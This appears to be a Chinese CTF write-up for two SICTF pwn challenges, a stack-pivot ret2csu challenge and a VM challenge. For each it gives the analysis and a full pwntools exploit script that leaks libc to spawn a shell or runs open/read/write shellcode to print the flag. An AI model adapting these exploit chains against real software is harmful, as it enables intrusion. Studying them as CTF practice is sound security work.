WP-SICTF-<栈风水>-<signin_vm>
SI::CTF-<栈风水>-<signin_vm></signin_vm>
栈风水
保护
[*] '/CTF/sictf/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
RUNPATH: b'/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/'
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_BYTE buf[160]; // [rsp+0h] [rbp-A0h] BYREF
read(0, buf, 0xB0uLL);
return 0LL;
}
main函数也就只有一个0x10的栈溢出,由此的攻击方向
栈迁移
- 溢出控制rbp,返回到main内部可往rbp-0xa0写入payload
- 再一次leave后就可以跳转到第二次控制的rbp上
csu
在init函数内部有csu
.text:00000000004006B0 mov rdx, r15
.text:00000000004006B3 mov rsi, r14
.text:00000000004006B6 mov edi, r13d
.text:00000000004006B9 call ds:(funcs_4006B9 - 600DE8h)[r12+rbx*8]
.text:00000000004006BD add rbx, 1
.text:00000000004006C1 cmp rbp, rbx
.text:00000000004006C4 jnz short loc_4006B0
.text:00000000004006C6
.text:00000000004006C6 loc_4006C6: ; CODE XREF: init+34↑j
.text:00000000004006C6 add rsp, 8
.text:00000000004006CA pop rbx
.text:00000000004006CB pop rbp
.text:00000000004006CC pop r12
.text:00000000004006CE pop r13
.text:00000000004006D0 pop r14
.text:00000000004006D2 pop r15
.text:00000000004006D4 retn
特别函数
.text:00000000004004F7
.text:00000000004004F7 ; =============== S U B R O U T I N E =======================================
.text:00000000004004F7
.text:00000000004004F7 ; Attributes: bp-based frame
.text:00000000004004F7
.text:00000000004004F7 ; ssize_t (**sub_4004F7())(int fd, void *buf, size_t nbytes)
.text:00000000004004F7 sub_4004F7 proc near ; CODE XREF: init+49↓p
.text:00000000004004F7 ; DATA XREF: .init_array:funcs_4006B9↓o
.text:00000000004004F7
.text:00000000004004F7 var_8 = qword ptr -8
.text:00000000004004F7
.text:00000000004004F7 ; __unwind {
.text:00000000004004F7 push rbp
.text:00000000004004F8 mov rbp, rsp
.text:00000000004004FB mov rax, 0FFFF7FFFFFFFFFFFh
.text:0000000000400505 mov [rbp+var_8], rax
.text:0000000000400509 mov rdx, [rbp+var_8]
.text:000000000040050D mov rax, 0FFFF000000000000h
.text:0000000000400517 and rdx, rax
.text:000000000040051A mov rax, cs:read_ptr
.text:0000000000400521 add rax, rdx
.text:0000000000400524 mov cs:num, rax
.text:000000000040052B nop
.text:000000000040052C pop rbp
.text:000000000040052D retn
.text:000000000040052D ; } // starts at 4004F7
.text:000000000040052D sub_4004F7 endp
会向bss段上写一个read地址,不过需要给高两位清零才是read函数的地址
思路:
- 第一次往bss上csu第一次调用read函数扩充写rop的空间
- libc里write与read函数很近,第二次read清理高两位
- 第三次read修改最低两字节为libc里的write的低两字节(这里就需要爆破1/16)
- csu调用修改好的write,输出got表拿libc
- 第四次read写入sysem(“/bin/sh”)
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
#context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context.terminal = ['tmux', 'splitw', '-h']
file_name = './pwn'
b_string ="b main\n"
b_slice = ["0x0000000004006B9"]
for i in b_slice:
if type(i) == int:
b_string += f"b *$rebase({i})\n"
else :
if type(i) == str:
b_string += f"b *"+i+f"\n"
#1 => attach
#2 => debug
#3 => remote
choice = 0
if choice == 1 :
p = process(file_name)
gdb.attach(p,b_string)
print(f"Break_point:\n"+b_string)
elif choice == 2 :
p = gdb.debug(file_name,b_string)
print(f"Break_point:\n"+b_string)
elif choice == 3 :
ip_add ="nc1.ctfplus.cn"
port = 39169
print("[==^==] remote : "+ip_add+str(port))
p = remote(ip_add,port)
#-----------------------------------------------------------------------------------------
def Qword(data):
if type(data) == bytes :
print("[~]===> Data : ")
for i in range(len(data)//8):
print(" %.2x : 0x%x" % (8*i,u64(data[i*8:(i*8+8)])))
else :
print("Print data failed!!")
rv = lambda x : p.recv(x)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sd = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
#u32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
#u64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
pad = lambda a,b : print("\x1B[1;36m[+]{} =====> 0x%x \x1B[0m".format(a)%b)
#-----------------------------------------------------------------------------------------
leave = 0x0000000000400669
bss = 0x0000000000601E00
main = 0x0000000000400640
fun2 = 0x00000000004004F7
csu_1 = 0x0000000004006CA
csu_2 = 0x0000000004006B0
read = 0x400400
read_got = 0x000000000600FE8
addr = 0x606e40
rdi = 0x00000000004006d3
rsi_r15 = 0x00000000004006d1
ret = 0x00000000004003e6
#0x68
def csu(fun,rdi,rsi,rdx):
return p64(csu_1)+p64(0)+p64(1)+p64(fun)+p64(rdi)+p64(rsi)+p64(rdx)+p64(csu_2)+p64(0)*7
rop = p64(fun2)
rop += csu(read_got,0,addr+6,2)
rop += csu(read_got,0,addr,2)
rop += csu(addr,1,read_got,0x8)
rop += csu(read_got,0,0x602020,0x100)
print("len => 0x%x"%len(rop))
def pwn():
payload = b"a"*0xa0 + p64(bss+0xa0) + p64(main+4)
p.send(payload)
more_rop_spase = csu(read_got,0,bss+0x78,0x1000).ljust(0xa0,b'\x00') + p64(bss-8) + p64(leave)
p.send(more_rop_spase)
p.send(rop.ljust(0x1000,b'\x00'))
p.send(b'\x00\x00')
p.send(b'\x70\x98')
libc = u64(p.recv(8))-0x00000000001147D0
pad("libc",libc)
return libc
while True:
try:
p = process(file_name)
# p = remote("27.25.151.29",34221)
libc = pwn()
# gdb.attach(p,b_string)
print("len => 0x%x"%len(rop))
system = libc + 0x000000000050D70
binsh = libc + 0x0000000001D8678
getsh = p64(rdi)+p64(binsh)+p64(system)
p.send(getsh.ljust(0x100,b'\x00'))
sl("cat flag")
break
except EOFError:
p.close()
continue
inter()
signin_vm
保护
全开
解析
unsigned __int64 sub_1437()
{
int v0; // eax
int v2; // [rsp+4h] [rbp-1Ch]
v2 = rand() % 1131796;
v0 = rand();
return ((v2 + (v2 ^ v0) + rand()) >> 4) << 12;
}
三次随机数生成一个地址
这里就只有一个关键点,爆破opcode(“V”)跳转的地址(借鉴了si群里师傅的wp的爆破思路[SICTF Round4] PWN-CSDN博客)
case 'W':
**&a1->addr = reg[a1->regid1];
goto LABEL_19;
opcode(”W”)可以对任意地址写
思路:
- 爆破跳转地址
- opcode(”P”)写数据到寄存器
- opcode(”W”)写数据到跳转地址
- opcode(”V”)跳到写入的orw地方
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
from ctypes import *
#context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context.terminal = ['tmux', 'splitw', '-h']
while_ = 0x000000000001D5A
jmp_shellcode = 0x0000000000016B3
file_name = './vm'
b_string ="b main\n"
b_slice = [jmp_shellcode]
for i in b_slice:
if type(i) == int:
b_string += f"b *$rebase({i})\n"
else :
if type(i) == str:
b_string += f"b *"+i+f"\n"
choice = 0
if choice == 0 :
p = process(file_name)
gdb.attach(p,b_string)
print(f"Break_point:\n"+b_string)
else :
if choice == 1 :
p = gdb.debug(file_name,b_string)
print(f"Break_point:\n"+b_string)
else :
ip_add ="27.25.151.29"
#ip_add = "127.0.0.1"
port = 34182
p = remote(ip_add,port)
#-----------------------------------------------------------------------------------------
def Qword(data):
if type(data) == bytes :
print("[~]===> Data : ")
for i in range(len(data)//8):
print(" %.2x : 0x%x" % (8*i,u64(data[i*8:(i*8+8)])))
else :
print("Print data failed!!")
rv = lambda x : p.recv(x)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sd = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
#u32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
#u64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
pad = lambda a,b : print("\x1B[1;36m[+]{} =====> 0x%x \x1B[0m".format(a)%b)
#-----------------------------------------------------------------------------------------
ru("rsp\t\t: 0x")
rsp = int(rv(10),16)
pad("rsp",rsp)
ru("rip\t\t: 0x")
rip = int(rv(10),16)
pad("rip",rip)
ru("bss\t\t: 0x")
bss = int(rv(10),16)
pad("bss",bss)
clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
def getv():
v2 = clibc.rand() % 1131796
v0 = clibc.rand()
return ((v2 + (v2 ^ v0) + clibc.rand()) >> 4) << 12
cmd = 0
for i in range(0x1000000):
clibc.srand(i)
if rip == getv():
print('bss =',hex(getv()))
print('stack =',hex(getv()))
cmd = getv()
print('cmd =', hex(cmd))
break
pad("cmd",cmd)
if(not(cmd)):
p.close()
exit(0)
def add(op,choice,idx1,idx2,idx3,addr1,value):
op += p8(choice)
op += p8(idx1)
op += p8(idx2)
op += p8(idx3)
if type(addr1) == int :
op += p64(addr1)
else :
op += addr1.ljust(0x8,b'\x00')
if type(value) == int :
op += p64(value)
else :
op += value.ljust(0x8,b'\x00')
return op
def write_data(data,addr):
r = b''
length = len(data)
if len(data) % 8 != 0 :
length = (8-len(data)%8)+len(data)
for i in range(length//8):
r += add(b'P',0,1,0,0,0,data[i*8:(i*8+8)])
r += add(b'W',0,1,0,0,addr+i*8,0)
return r
shellcode = asm('''
xor rdi, rdi
sub rdi, 100
mov rsi, 0x%x
mov rax, 0x101
xor rdx, rdx
xor r10, r10
syscall
mov rdi, 0
mov rsi, 0x%x
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi, 0x%x
mov rdx, 0x30
mov rax, 1
syscall
'''%(cmd+0x100,cmd+0x500,cmd+0x500),arch = 'amd64')
sl(write_data(shellcode.ljust(0x100,b'\x00')+b'flag\x00',cmd)+add(b'V',0,0,0,0,0,0))
inter()
0 条评论
可输入 255 字